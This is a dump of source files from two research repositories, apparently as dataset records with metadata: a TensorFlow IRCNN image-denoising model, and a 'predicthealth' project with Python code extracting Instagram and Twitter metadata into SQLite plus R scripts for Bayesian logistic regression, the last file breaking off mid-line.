cv2.imwrite(os.path.join(FLAGS.save_eval_path, image_name), cv2.cvtColor(np.squeeze(img), cv2.COLOR_RGB2BGR))\n\n\n\n\ndef main(_):\n \n hps = ircnn_model.HParams(batch_size=FLAGS.batch_size,\n min_lrn_rate=0.00001,\n lrn_rate=0.001,\n num_conv=7,\n weight_decay_rate=0.0001,\n optimizer='adam')\n\n\n if FLAGS.mode == 'Train':\n train(hps)\n elif FLAGS.mode == 'Eval':\n eval(hps)\n\nif __name__ == '__main__':\n tf.logging.set_verbosity(tf.logging.INFO)\n tf.app.run()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6490495800971985, "alphanum_fraction": 0.660176157951355, "avg_line_length": 28.97222137451172, "blob_id": "b7365bf3695f51d55acde4623230944a4b645fc2", "content_id": "04e7d6f384164fee4ae58e2b9b50cd9a4d72a391", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2157, "license_type": "no_license", "max_line_length": 97, "num_lines": 72, "path": "/read_tfrecord.py", "repo_name": "hfeng-xia/IRCNN", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef bytes_feature(value):\n \"\"\"Wrapper for inserting bytes features into Example proto.\n \"\"\"\n if not isinstance(value, list):\n value = [value]\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=value))\n\ndef image_to_tfexample(image_data):\n\n return tf.train.Example(features=tf.train.Features(feature={\n 'image_raw': bytes_feature(image_data),\n }))\n\n\n\ndef build_input(tfrecord_name, image_size, batch_size, sigma=25, is_color = True):\n\n filename_queue = tf.train.string_input_producer([tfrecord_name])\n\n reader = tf.TFRecordReader()\n\n _, serialized_example = reader.read(filename_queue)\n\n features = tf.parse_single_example(serialized_example,\n features={'image_raw':tf.FixedLenFeature([], tf.string),})\n\n image = tf.image.decode_jpeg(features['image_raw'])\n\n if is_color:\n depth = 3\n else:\n depth = 1\n subimg = tf.random_crop(image, [image_size, image_size, depth])\n subimg = tf.image.convert_image_dtype(subimg, tf.float32)\n\n input_image = subimg + float(sigma)/255.*tf.random_normal(tf.shape(subimg))\n label = input_image - subimg\n\n example_queue = tf.RandomShuffleQueue(\n capacity=16 * batch_size,\n min_after_dequeue=8 * batch_size,\n dtypes=[tf.float32, tf.float32],\n shapes=[[image_size, image_size, depth], [image_size, image_size, depth]])\n\n num_threads = 16\n\n example_enqueue_op = example_queue.enqueue([input_image, label])\n\n tf.train.add_queue_runner(tf.train.queue_runner.QueueRunner(\n example_queue, [example_enqueue_op] * num_threads))\n\n images, labels = example_queue.dequeue_many(batch_size)\n\n assert len(images.get_shape()) == 4\n assert images.get_shape()[0] == batch_size\n assert images.get_shape()[-1] == depth\n assert len(labels.get_shape()) == 4\n assert labels.get_shape()[0] == batch_size\n assert labels.get_shape()[-1] == depth\n\n\n return images, labels" }, { "alpha_fraction": 0.699999988079071, "alphanum_fraction": 0.732692301273346, "avg_line_length": 26.210525512695312, "blob_id": "971eed9027c3954c4603702420a11f0a4dd3c8f0", "content_id": "ebed0e16b9187e21388b8b71069b8cc11b1ca5d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 520, "license_type": "no_license", "max_line_length": 165, "num_lines": 19, "path": "/README.md", "repo_name": "hfeng-xia/IRCNN", "src_encoding": "UTF-8", "text": "# Learning Deep CNN Denoiser Prior for Image Restoration\n# IRCNN-Tensorflow\nThis is a tensorflow re-implementation of [Learning Deep CNN Denoiser Prior for Image Restoration](http://www4.comp.polyu.edu.hk/%7Ecslzhang/paper/IRCNN_CVPR17.pdf).\n***\n# Requirements\n1. Tensorflow==1.8\n2. opencv-python \n***\n# Model Architecture\n![image_1](Image/image_2.png)\n\n# Training Loss\n![image_2](Image/image_1.png)\n***\n# Results\nSigma = 25\n![image_3](result/baboon.bmp)\n![image_4](result/barbara.bmp)\n![image_5](result/monarch.bmp)\n\n\n\n" }, { "alpha_fraction": 0.5929791331291199, "alphanum_fraction": 0.6040480732917786, "avg_line_length": 38.26250076293945, "blob_id": "9621328eda584dca5bc9a1848ff898f5fecde944", "content_id": "225a8d4afeb4499ae7e9166581a1cef4ae5a2810", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3162, "license_type": "no_license", "max_line_length": 213, "num_lines": 80, "path": "/ircnn_model.py", "repo_name": "hfeng-xia/IRCNN", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nfrom tensorflow.contrib import slim\nfrom collections import namedtuple\n\n\nHParams = namedtuple('HParams',\n 'batch_size, min_lrn_rate, lrn_rate, '\n 'num_conv, weight_decay_rate, optimizer')\n\n\nclass IRCNN(object):\n\n def __init__(self, hps, image, label, mode):\n\n self.hps = hps\n self._image = image\n self.label = label\n self.mode = mode\n self.dilate = [1, 2, 3, 4, 3, 2, 1]\n\n if self.mode == 'Train':\n self.reuse = False\n self.is_training = True\n elif self.mode == 'Eval':\n self.reuse = False\n self.is_training = False\n\n\n def build_graph(self):\n\n self.global_step = tf.train.create_global_step()\n self._build_mode()\n\n if self.mode == 'Train':\n self._build_train_op()\n self.summaries = tf.summary.merge_all()\n\n\n def _build_mode(self):\n\n conv = slim.conv2d(self._image, 64, [3, 3], rate=self.dilate[0], activation_fn=tf.nn.relu, weights_regularizer=slim.l2_regularizer(self.hps.weight_decay_rate), scope='conv_1', reuse=self.reuse)\n\n for i in range(2, self.hps.num_conv):\n\n conv = slim.conv2d(conv, 64, [3, 3], rate=self.dilate[i-1], activation_fn=None, weights_regularizer=slim.l2_regularizer(self.hps.weight_decay_rate), scope='conv_%d'%(i), reuse=self.reuse)\n conv = slim.batch_norm(conv, scale=True, activation_fn=tf.nn.relu, is_training=self.is_training)\n\n self.conv = slim.conv2d(conv, 3, [3, 3], rate=self.dilate[6], activation_fn=None, weights_regularizer=slim.l2_regularizer(self.hps.weight_decay_rate), scope='conv_%d'%(self.hps.num_conv), reuse=self.reuse)\n self.clear = self._image - self.conv\n\n if self.mode == 'Train':\n with tf.variable_scope('cost'):\n regu_loss = tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES)\n content_cost = (1./self.hps.batch_size)*tf.nn.l2_loss(self.conv - self.label)\n self.cost = tf.add_n([content_cost] + regu_loss)\n tf.summary.scalar('cost', self.cost)\n\n\n with tf.variable_scope('input_image'):\n tf.summary.image('input_image', self._image)\n with tf.variable_scope('noisy'):\n tf.summary.image('noisy', self.conv)\n with tf.variable_scope('clear'):\n tf.summary.image('clear', self._image - self.conv)\n\n\n def _build_train_op(self):\n\n self.lrn_rate = tf.constant(self.hps.lrn_rate, tf.float32)\n tf.summary.scalar('learning_rate', self.lrn_rate)\n\n if self.hps.optimizer == 'sgd':\n self.optimizer = tf.train.GradientDescentOptimizer(self.lrn_rate)\n elif self.hps.optimizer == 'mom':\n self.optimizer = tf.train.MomentumOptimizer(self.lrn_rate, 0.9)\n elif self.hps.optimizer == 'adam':\n self.optimizer = tf.train.AdamOptimizer(self.lrn_rate)\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n self.train_op = self.optimizer.minimize(self.cost, global_step=self.global_step)\n\n \n\n\n\n\n\n\n\n\n\n\n\n" } ]
5
minaksheeshukla/predicthealth
https://github.com/minaksheeshukla/predicthealth
a37994760becf4121534da711770a3d33ffd3cca
58a8ca5e9222ad98a50c374f6977ce5f42321bfd
8c068a255f41b6fac14260a5803c4b11edaee546
refs/heads/master
2021-02-13T16:54:15.382668
2016-08-31T15:52:21
2016-08-31T15:52:21
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6406353116035461, "alphanum_fraction": 0.6449370980262756, "avg_line_length": 35.6363639831543, "blob_id": "7488d8316ffb541d26d96f8e8a8f91ba016e5e79", "content_id": "2da86b987a88a6afdfa5546cd38cf39f06d88006", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6044, "license_type": "no_license", "max_line_length": 151, "num_lines": 165, "path": "/extract.py", "repo_name": "minaksheeshukla/predicthealth", "src_encoding": "UTF-8", "text": "from flask import jsonify\nfrom skimage import io, data, color\nimport numpy as np\nimport collections\nimport datetime\nfrom dateutil import parser\n\n## get_hsv: converts image from rgb to hsv (Hue, Saturation, V=Brightness)\ndef get_hsv(im):\n\tim = color.rgb2hsv(im) # http://scikit-image.org/docs/dev/api/skimage.color.html#rgb2hsv\n\thsv = []\n\tfor i in xrange(len(im.shape)):\n\t\tif len(im.shape) == 2: #b/w photo\n\t\t\timdata = im[:,i]\n\t\telif len(im.shape) == 3: #color photo\n\t\t\timdata = im[:,:,i]\n\t\tavg = np.mean(imdata)\n\t\thsv.append( avg )\n\treturn hsv\n\n## extract_hsv: reads image, converts to hsv, stores in db table \"hsv\"\ndef extract_hsv(conn, url, uid, username):\n\ttry:\n\t\timg = io.imread(url)\n\t\th,s,v = get_hsv(img)\n\t\tquery = \"INSERT INTO hsv(uid, url, hue, saturation, brightness, username) VALUES ('{}','{}','{}','{}','{}','{}')\".format(uid, url, h, s, v, username)\n\t\twith conn:\n\t\t\tcur = conn.cursor()\n\t\t\tcur.execute(query)\n\t\t\tconn.commit()\n\texcept Exception,e:\n\t\treturn 'extract_hsv error: {}'.format(str(e))\n## gets metadata from instagram posts, stores on sqlite3 db table \"meta_ig\"\n## NOTES:\n## - Instagram API calls return a hodgepodge of dicts, lists, and custom objects. It's not as simple as Twitter.\n## - In a few cases, we've hard coded exactly the features we're looking for (image url, caption text)\n## - We use an ordered dict to keep track of relevant key/value pairs for entering into SQL\ndef extract_meta_instagram(conn, medium, data, username, user_id, unique_id, table_data, log_msgs):\n\ttry:\n\t\ttable = \"meta_ig\"\n\t\tfields = table_data.ix[ table_data.table == table, \"field\"].values\n\t\tfeatures = collections.OrderedDict()\n\n\t\tfeatures['uid'] = unique_id\n\t\tfeatures['instagram_user_id'] = user_id\n\t\tfeatures['username'] = username\n\t\tfeatures['ratings_ct'] = 0\n\n\t\tfor key, val in vars(data).iteritems():\n\t\t\tif key == \"images\":\n\t\t\t\tfeatures[\"url\"] = data.images[\"low_resolution\"].url\n\n\t\t\telif key == \"caption\":\n\t\t\t\ttry:\n\t\t\t\t\tfeatures[\"caption\"] = data.caption.text\n\t\t\t\texcept:\n\t\t\t\t\t#print 'caption fail!'\n\t\t\t\t\tfeatures[\"caption\"] = ''\n\n\t\t\telif key in fields:\n\t\t\t\tif isinstance(vars(data)[key], list):\n\n\t\t\t\t\tif key == \"comments\":\n\t\t\t\t\t\ttry:\n\n\t\t\t\t\t\t\tfeatures[key] = '___'.join([com.text if com is not None else '' for com in vars(data)[key]]) \n\t\t\t\t\t\t\t#print key\n\t\t\t\t\t\t\t#print features[key]\n\t\t\t\t\t\texcept Exception,e:\n\t\t\t\t\t\t\tlog_msgs.append('Failed on joining list of {}: {}'.format(key,str(e)))\n\t\t\t\t\telif key == \"tags\":\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tfeatures[key] = '___'.join([tag.name for tag in vars(data)[key]]) \n\t\t\t\t\t\t\t#print key\n\t\t\t\t\t\t\t#print features[key]\n\t\t\t\t\t\texcept Exception,e:\n\t\t\t\t\t\t\tlog_msgs.append('Failed on joining list of {}: {}'.format(key,str(e)))\n\t\t\t\t\telse:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tfeatures[key] = '___'.join(vars(data)[key]) \n\t\t\t\t\t\t\t#print key\n\t\t\t\t\t\t\t#print features[key]\n\t\t\t\t\t\texcept Exception,e:\n\t\t\t\t\t\t\tlog_msgs.append( 'Failed on joining list of keys: {}'.format(str(e)) )\n\t\t\t\telse:\n\t\t\t\t\tfeatures[key] = vars(data)[key]\n\t\t\t\t\t\n\t\t\t\t\t#print key\n\t\t\t\t\t#print features[key]\n\t\t\tif key == \"created_time\":\n\t\t\t\ttimestamp = vars(data)[key]\n\t\t\t\tyyyy_mm_dd = timestamp.strftime('%Y-%m-%d')\n\t\t\t\tfeatures['created_date'] = yyyy_mm_dd\t\n\t\t\t\t#print 'created_date:',yyyy_mm_dd\n\t\t\n\t\tquery = \"INSERT OR IGNORE INTO {table}{cols} VALUES(\".format(table=table,cols=tuple(features.keys())) + ('?,' *len(features))[:-1] + \")\"\n\texcept Exception,e:\n\t\tprint 'extract_meta_instagram error before db write: {}'.format(str(e))\n\ttry:\n\t\twith conn:\n\t\t\tcur = conn.cursor()\n\t\t\tcur.executemany(query, (features.values(),))\n\t\t\tconn.commit()\t\n\t\treturn features[\"url\"]\n\texcept Exception, e:\n\t\tlog_msgs.append( 'Error: {}, Query: {}'.format(str(e),query) )\n\t\treturn '\\n'.join(log_msgs)\n\n## Gets metadata from Twitter posts, stores to db table \"meta_tw\" \n## NOTES: \n## - Unlike Instagram, it's easy to pass in the entire Tweet corpus and iterate\n## - Some of the data we want is nested. The table_data df keeps track of the level each datum resides on.\n## - Each iteration checks subsequent levels to see if the given key is available\n## - We use an ordered dict to keep track of relevant key/value pairs for entering into SQL\ndef extract_meta_twitter(conn, medium, data, username, user_id, unique_id, table_data, log_msgs):\n\n\ttable = \"meta_tw\"\n\tfields = table_data.ix[ table_data.table == table, \"field\"].values\n\t\n\tlog_msgs.append(\"Total rows to extract for {}: {}\".format(username, len(data)))\n\tfor i,row in enumerate(data):\n\t\tif i%50==0:\n\t\t\tprint 'Extracting metadata from row {}'.format(i)\n\t\t\tlog_msgs.append('Extracting metadata from row {}'.format(i))\n\t\tfeatures = collections.OrderedDict()\n\t\tfeatures['uid'] = unique_id\n\t\tfeatures['twitter_user_id'] = user_id\n\t\tfeatures['username'] = username\n\n\t\tfor k in row.keys():\n\t\t\tif k in fields:\n\t\t\t\tfeatures[str(k)] = row[k]\n\t\t\t\t\n\t\t\telif isinstance(row[k],dict):\n\t\t\t\tfor k2 in row[k].keys():\n\t\t\t\t\tif (k2 in fields) and (table_data.level[(table_data.table==table) & (table_data.field==k2)].values == 2):\n\t\t\t\t\t\tif not row[k][k2]:\n\t\t\t\t\t\t\tfeatures[str(k2)] = \"None\"\n\t\t\t\t\t\telif isinstance(row[k][k2],dict):\n\t\t\t\t\t\t\tk3s = row[k][k2].keys()\n\t\t\t\t\t\t\tfeatures[str(k3s[0])] = str(row[k][k2][k3s[0]]) \n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tfeatures[str(k2)] = \"not_found\"\n\t\t\tif str(k)==\"created_at\":\n\t\t\t\ttimestamp = parser.parse(row[k])\n\t\t\t\tyyyy_mm_dd = timestamp.strftime('%Y-%m-%d')\n\t\t\t\tfeatures['created_date'] = yyyy_mm_dd\n\t\t\t\t#print 'created_date:',yyyy_mm_dd\n\n\t\tquery = \"INSERT OR IGNORE INTO {table}{cols} VALUES(\".format(table=table,cols=tuple(features.keys())) + ('?,' *len(features))[:-1] + \")\"\n\n\t\twith conn:\n\t\t\tcur = conn.cursor()\n\t\t\tcur.executemany(query, (features.values(),))\n\t\t\tconn.commit()\n\n\n## wrapper for extracting metadata\ndef extract_meta(conn, medium, data, username, user_id, unique_id, table_data, log_msgs):\n\tif medium == \"twitter\":\n\t\treturn extract_meta_twitter(conn, medium, data, username, user_id, unique_id, table_data, log_msgs)\n\telif medium == \"instagram\":\n\t\treturn extract_meta_instagram(conn, medium, data, username, user_id, unique_id, table_data, log_msgs)\n\telse:\n\t\treturn \"Incorrect or missing social medium.\"" }, { "alpha_fraction": 0.5556022524833679, "alphanum_fraction": 0.5711582899093628, "avg_line_length": 32.385963439941406, "blob_id": "dc9e6bf7e14c9ceaf8a52a5362a990687fad0e2a", "content_id": "a0b8a063cde513b8a735e40ab42957d5daf787b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 9514, "license_type": "no_license", "max_line_length": 123, "num_lines": 285, "path": "/twbgfunc.R", "repo_name": "minaksheeshukla/predicthealth", "src_encoding": "UTF-8", "text": "get.data.fpath <- function(condition,medium,gb.type,kind,pca,pca.comp) {\n dir.path <- paste('data-files',condition,medium,gb.type,sep='/')\n pca.suffix <- ifelse(pca, paste('pca',pca.comp,sep='-'), 'no-pca')\n fname <- paste(condition,medium,gb.type,kind,pca.suffix,sep='_')\n fpath <- paste0(dir.path,'/',fname,'.csv')\n return(fpath)\n}\n\nget.jags.path <- function(ftype,which.f,condition,medium,kind,gb.type,m) {\n folder.path <- paste(paste0(ftype,\"-mcmc-output\"),medium,condition,kind,gb.type,sep=\"/\")\n fname <- paste(which.f,condition,medium,kind,gb.type,m,\".Rdata\",sep=\"_\")\n full.path <- paste(folder.path,fname,sep=\"/\")\n return(full.path)\n}\n\n\nset.model.data <- function(medium, gb.type, means, varset, df, m, pca){\n \n if (pca) {\n # pca var names are in the form: \"pca_[component_number]\"\n preds <- varset[[m]]\n } else {\n # which predictors do we use for this medium/groupby type? see varset.R for more.\n preds <- varset[[medium]][[gb.type]][[means]]\n }\n \n # mdf is the subset of df we use for modeling\n mdf <- df[preds]\n \n return(list(preds=preds,mdf=mdf))\n}\n\nbuild.var.list <- function(preds, mdf, df, stdize, intercept.only=FALSE) {\n var.list <- list(n = nrow(df), y = df$target)\n \n if (!intercept.only) {\n for (field in preds) {\n if (stdize) {\n # we need as.vector because scale() returns extra attrs\n var.list[[field]] <- as.vector(scale(mdf[[field]]))\n } else {\n var.list[[field]] <- mdf[[field]]\n }\n }\n }\n return(var.list)\n}\n\n\nwrite.jags.model <- function(mdf, preds, var.list, intercept.only=FALSE, include.or=FALSE) {\n \n # this first part is common to all log.reg. models we use\n model.jags <- \"model {\n \n # likelihood (Bernoulli)\n for (i in 1:n){\n y[i] ~ dbern(p[i])\n p[i] <- 1 / (1 + exp(-Xb[i]))\"\n \n Xb <- \"Xb[i] <- b.0\"\n bs <- \"b.0 ~ dnorm (0, 0.0001)\"\n ors <- \"\"\n var.names <- c('b.0')\n if (!intercept.only) {\n \n for (field in preds) {\n Xb <- paste(Xb, paste0(' + ','b.',field,'*',field,'[i]'))\n # add prior\n bs <- paste(bs, (paste0('b.',field,' ~ ','dnorm (0, 0.0001)')), sep='\\n')\n # add odds ratio\n if (include.or) {\n ors <- paste(ors, (paste0('or.',field,' <- ','exp(b.',field,')')), sep='\\n')\n var.names <- append(var.names, paste0('or.',field))\n }\n var.names <- append(var.names, paste0('b.',field))\n }\n }\n \n #Xb <- substr(Xb,1,nchar(Xb)-2) # this is only for when ' + ' is on the end, but you switched it to the front\n model.jags <- paste(model.jags, Xb, '}', sep='\\n')\n model.jags <- paste(model.jags, bs, sep='\\n')\n if (include.or) {\n model.jags <- paste(model.jags,ors,sep='\\n')\n }\n if (!intercept.only) {\n addtl.priors <- \"sigma.state ~ dunif(0, 100)\n tau.state <- pow(sigma.state, -2)\"\n model.jags <- paste(model.jags,addtl.priors,sep='\\n')\n }\n model.jags <- paste(model.jags,'}',sep='\\n')\n \n return(list(model=model.jags, var.names=var.names))\n }\n\n\nhpd.hunt <- function(params, field, old.prob) {\n prob <- ifelse(old.prob==0.99, 0.95, old.prob-0.05)\n hpd.obj <- HPDinterval(params, prob=prob)[[1]]\n \n if (hpd.obj[field,'lower'] * hpd.obj[field,'upper'] > 0) {\n print(paste0(prob,'% HPDI:'))\n print(hpd.obj[field,])\n print(paste(str_to_upper(field),':: GOOD AT prob:',prob,'% :: Does not contain zero'))\n print('____')\n } else {\n # if HPDI contains zero, we plot the histogram to see how close it is\n #print(paste(str_to_upper(field),':: NOT GOOD AT prob:',prob,'% :: Contains zero, see plot'))\n hpd.hunt(params, field, prob)\n } \n}\n\n\nreport.hpdi <- function(params, var.names, prob=0.99) {\n print('Highest Posterior Density Intervals:')\n not.goods <- c() # for keeping track of which HPDIs include 0\n \n for (field in var.names) {\n print(field)\n hpd.obj <- HPDinterval(params, prob=prob)[[1]]\n print('99% HPDI:')\n print(hpd.obj[field,])\n if (hpd.obj[field,'lower'] * hpd.obj[field,'upper'] > 0) {\n print(paste(str_to_upper(field),':: GOOD AT prob:',prob,'% :: Does not contain zero'))\n print('____')\n } else {\n # if HPDI contains zero, we plot the histogram to see how close it is\n print(paste(str_to_upper(field),':: NOT GOOD AT prob:',prob,'% :: Contains zero, see plot'))\n field.post <- params[[1]][,field] ## extract happy posterior\n hist(field.post, main = paste(\"Histogram\",field, \"Posterior (jags)\"), xlab = paste(field,\"parameter samples (jags)\"))\n abline(v = hpd.obj[field,], col = \"gray\", lty = 2, lwd = 2) ## HPD\n abline(v = mean(field.post), col = \"red\", lwd = 2) ## posterior mean\n hpd.hunt(params, field, 0.99)\n } \n }\n}\n\npack.var.names <- function(var.names) {\n for (i in 1:length(var.names)) {\n if (var.names[i] != \"b.0\") {\n var.names[i] <- substr(var.names[i], 3, nchar(var.names[i]))\n } else {\n var.names[i] <- \"(Intercept)\"\n }\n }\n return(var.names)\n}\n\n\nget.coda.params <- function(jags, var.names, thin, n.iter, coda.fname, save.file=TRUE) {\n \n params <- coda.samples(jags, variable.names = var.names, \n thin = thin, n.iter = n.iter)\n save(file=coda.fname, list=\"params\")\n \n return(params)\n}\n\nget.bayes.p <- function(var.list, params, \n print.stats=FALSE, n.replica=1000) {\n \n # this makes a df of the standardized predictors, y, and n\n dm.df <- data.frame(var.list)\n # we don't need n\n dm.df$n <- NULL\n target <- dm.df$y\n # this gets our intercept in the design matrix\n design.mat <- model.matrix(glm(y ~ ., data = dm.df, family=binomial))\n \n samp.ix.min <- nrow(as.matrix(params))-10000\n samp.ix.max <- nrow(as.matrix(params))\n \n set.seed(123)\n ixs <- sample(samp.ix.min:samp.ix.max, n.replica) # index for 1000 random beta vectors \n betamat <- t(as.matrix(params)[ixs,]) # we transpose it since we need the parameters in the rows\n \n ypred <- invlogit(design.mat %*% betamat) ## compute expected (or predicted) values\n ypred[ypred < 0.5] <- 0\n ypred[ypred >= 0.5] <- 1\n \n replicated.prop <- colSums(ypred)/nrow(ypred)\n obs.prop <- sum(target)/nrow(design.mat)\n prop.diff <- replicated.prop - obs.prop\n \n if (print.stats) {\n pred.df <- data.frame(pred=ypred,actual=dm.df$y)\n print(paste('observed proportion of 1s:',obs.prop))\n print(paste('prop.diff mean:',round(mean(prop.diff),3)))\n hist(replicated.prop, main='Proportion target=y in replicated samples')\n hist(prop.diff, main='Proportion target=y difference: replicated-observed')\n }\n \n p.value <- round(length(which(prop.diff > 0))/length(prop.diff), 3) ## compute p-value\n \n print(paste('Bayes p-value:',p.value))\n return(p.value)\n}\n\ncompare.dic <- function(model.dic, analyze.addtl.data) {\n x <- 'intercept_only'\n y <- 'all_means'\n z <- 'hsv_means'\n if (!analyze.addtl.data) {\n models <- c(x,y)\n ddic <- diffdic(model.dic[[x]], model.dic[[y]])\n print(paste('Model',ifelse((ddic < 0),x,y),'is best'))\n } else {\n models <- c(x,y,z)\n \n ddic <- diffdic(model.dic[[x]], model.dic[[y]])\n print(paste('Model',x,'vs',y))\n print(ddic)\n \n ddic <- diffdic(model.dic[[x]], model.dic[[z]])\n \n print(paste('Model',x,'vs',z))\n print(ddic) \n \n ddic <- diffdic(model.dic[[y]], model.dic[[z]])\n \n print(paste('Model',y,'vs',z))\n print(ddic) \n }\n for (model in models) {\n print(paste(model,'DIC:'))\n print(model.dic[[model]])\n }\n}\n\nmcmc.pack.model <- function(data, burnin, n, thin, b0, B0, m) {\n \n if (m == 'intercept_only') {\n # first chain\n mcmc.1 <- MCMClogit(target ~ 1, data = data,\n burnin = burnin, mcmc = n, \n thin = thin, b0 = b0, B0 = B0, seed = 1234, marginal.likelihood = \"Laplace\")\n # second chain\n mcmc.2 <- MCMClogit(target ~ 1, data = data,\n burnin = burnin, mcmc = n, \n thin = thin, b0 = b0, B0 = B0, seed = 5678, marginal.likelihood = \"Laplace\")\n } else {\n # first chain\n mcmc.1 <- MCMClogit(target ~ ., data = data,\n burnin = burnin, mcmc = n, \n thin = thin, b0 = b0, B0 = B0, seed = 1234, marginal.likelihood = \"Laplace\")\n # second chain\n mcmc.2 <- MCMClogit(target ~ ., data = data,\n burnin = burnin, mcmc = n, \n thin = thin, b0 = b0, B0 = B0, seed = 5678, marginal.likelihood = \"Laplace\")\n }\n \n mcmc <- mcmc.list(mcmc.1, mcmc.2) ## merging both models into a mcmc object\n return(mcmc)\n}\n\ncompare.bayes.factor <- function(fits, pca, pca.frames) {\n # computes bayes factors for each model and compares them \n \n if (pca) {\n if (length(pca.frames) == 1) {\n pca.fit.name <- paste0('pca_',pca.frames[1])\n bfactor <- BayesFactor(fits[['intercept_only']][[1]], \n fits[[pca.fit.name]][[1]]\n )\n } else {\n bfactor <- BayesFactor(fits[['intercept_only']][[1]], \n fits[['pca_2']][[1]], \n fits[['pca_3']][[1]],\n fits[['pca_72']][[1]]\n )\n }\n \n col.names <- names(fits)\n } else {\n bfactor <- BayesFactor(fits[['intercept_only']][[1]], fits[['basic_tweet_means']][[1]], fits[['all_means']][[1]])\n }\n \n bf.mat <- bfactor$BF.log.mat\n col.names <- names(fits)\n colnames(bf.mat) <- col.names\n rownames(bf.mat) <- col.names\n print('Bayes Factor model matrix:')\n print(round(bf.mat, 1))\n \n return(bfactor)\n}" }, { "alpha_fraction": 0.5994076132774353, "alphanum_fraction": 0.6081081032752991, "avg_line_length": 28.839778900146484, "blob_id": "e7c36044f8a5e706dbbb9a6e81095517feffad0d", "content_id": "6376e2a5c5c83d84566a5f85561382289c10f952", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 5402, "license_type": "no_license", "max_line_length": 107, "num_lines": 181, "path": "/eda-twitter-bayes.R", "repo_name": "minaksheeshukla/predicthealth", "src_encoding": "UTF-8", "text": "#\n# 22 June 2016\n# Dissertation: Bayesian analysis (instagram)\n# Author: Andrew Reece\n#\n\nsetwd('~/Google Drive/_dissertation/backups/db_backup/')\n\nrequire(stringr)\nrequire(arm)\nsource('twbgfunc.R')\n\n# mcmc model software params\nuse.jags <- FALSE\nuse.mcmc.pack <- TRUE\nload.jags <- FALSE\nload.coda <- FALSE\nload.mcmc.pack <- FALSE\nif (use.jags) require(rjags)\nif (use.mcmc.pack) require(MCMCpack)\n\n# mcmc params\nn <- 200000\nthin <- 10\nburn.in <- 10000\nb0 <- 0\nB0 <- 0.0001\n\n# analysis params\nuse.pca <- FALSE\ntotal.pca.comp <- 40 # how many pca components are there?\npca.optimize <- FALSE\npca.frames <- c(2,3,39) # these values + 1 = num\nopt.pca.comp <- NULL # after comparing different pca comp sets, what's best?\nstandardize.predictors <- TRUE\nonly.created.date <- TRUE\nrun.diagnostics <- TRUE\nshow.autocorr <- TRUE\nshow.gelman <- TRUE\nshow.geweke <- TRUE\nshow.bayes.p <- TRUE\n\nbayes.factor <- TRUE\nb.factor <- list()\n\n# data params\nif (use.pca) {\n varset <- list()\n if (pca.optimize) {\n for (i in pca.frames) varset[[paste0('pca_',i)]] <- paste('pca', seq(0,i-1), sep='_')\n } else {\n varset[[paste0('pca_',opt.pca.comp)]] <- paste('pca', seq(opt.pca.comp), sep='_')\n }\n} else {\n varset <- readRDS('varset.rds')\n}\n\ncondition <- 'depression' # depression, pregnancy, cancer, ptsd\nmedium <- 'tw' # ig, tw\nkind <- 'MAIN' # MAIN, before-from-diag, before-from-susp\nused.pca <- ifelse (use.pca, 'pca', 'no-pca')\n\nmodel.complexities <- c('intercept_only')\n\nif (pca.optimize) {\n for (name in names(varset)) model.complexities <- c(model.complexities, name)\n} else {\n model.complexities <- c(model.complexities, 'basic_tweet_means', 'all_means')\n}\n\nif (only.created.date) {\n gb.types <- c('created_date')\n} else {\n gb.types <- c('created_date','weekly','user_id')\n}\n\n# adjustments\n#model.complexities <- c('ig_face_means') \ngb.type <- 'weekly'\nm <- 'all_means'\nmodel.complexities <- c('basic_tweet_means')\n\n\nfor (gb.type in gb.types) {\n \n # generate file path to data csv (created in python)\n fpath <- get.data.fpath(condition,medium,gb.type,kind,use.pca,total.pca.comp)\n df <- read.csv(fpath, header=T, stringsAsFactors=F)\n \n for (m in model.complexities) {\n print(paste('Running',medium,'analysis for Timeline:',kind,':: groupby type:',gb.type,':: Model:', m))\n \n if (m == 'intercept_only') {\n \n var.list <- build.var.list(NULL, NULL, df, standardize.predictors, intercept.only=TRUE)\n output <- write.jags.model(mdf, NULL, NULL, intercept.only=TRUE)\n model.jags <- output[['model']]\n var.names <- output[['var.names']]\n if (use.mcmc.pack) mdf <- data.frame(b.0=rep(1,nrow(df)))\n \n } else {\n \n means <- m\n mdata <- set.model.data(medium, gb.type, means, varset, df, m, use.pca)\n preds <- mdata[['preds']]\n mdf <- mdata[['mdf']]\n var.list <- build.var.list(preds, mdf, df, standardize.predictors)\n output <- write.jags.model(mdf, preds, var.list) \n model.jags <- output[['model']]\n var.names <- output[['var.names']]\n }\n \n if (use.jags) {\n jags.full.path <- get.jags.path('jags','jags',condition,medium,kind,gb.type,m)\n coda.full.path <- get.jags.path('jags','coda_samples',condition,medium,kind,gb.type,m)\n \n if (load.jags) {\n load(jags.full.path)\n jags$recompile()\n } else { # otherwise, run the mcmc simulation\n #runjags1 <- run.jags(model.jags, n.chains=2)\n jags <- jags.model(textConnection(model.jags), data = var.list, n.chains = 2)\n update(jags, burn.in) ## burn-in\n save(file=jags.full.path, list=\"jags\")\n }\n \n if (load.coda) {\n load(coda.full.path)\n } else {\n # coda samples save to file inside get.coda.params()\n mcmc <- get.coda.params(jags, var.names, thin, n.iter, coda.full.path)\n }\n } else if (use.mcmc.pack) {\n pack.full.path <- get.jags.path('pack','mcmcpack',condition,medium,kind,gb.type,m)\n \n if (load.mcmc.pack && file.exists(pack.full.path)) {\n load(pack.full.path)\n } else {\n mdf['target'] <- 